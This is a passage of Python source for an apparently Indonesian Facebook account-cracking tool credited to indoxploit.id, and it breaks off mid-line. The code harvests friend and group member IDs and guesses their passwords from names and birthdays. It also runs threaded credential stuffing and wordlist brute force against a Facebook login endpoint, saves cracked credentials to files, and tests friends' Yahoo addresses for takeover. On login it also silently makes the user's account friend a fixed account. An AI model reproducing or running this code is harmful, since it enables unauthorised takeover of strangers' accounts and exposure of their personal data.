\xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + 